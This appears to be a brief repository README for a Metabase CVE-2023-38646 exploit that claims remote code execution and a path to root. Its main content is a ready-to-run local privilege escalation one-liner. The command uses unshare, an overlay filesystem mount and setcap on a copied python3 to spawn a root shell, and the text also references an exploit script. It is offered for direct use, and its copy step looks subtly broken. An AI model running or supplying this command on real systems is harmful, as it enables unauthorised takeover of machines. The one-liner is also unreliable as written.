acesoyeo/metabase-rce-cve-2023-38646-Exploit for CVE-2023-38646 in Metabase, achieving remote code execution and privilege escalation to root via unshare and setuid techniques.
To get the root user of the machine or system according to the information above, this command and file will get into root user.
You can run this command directly or run as file and execute. Command: $unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/;" && u/python3 -c 'import os;import pty;os.setuid(0);pty.spawn("/bin/bash")'
Executed File: $./exploitsh.sh
Yay!
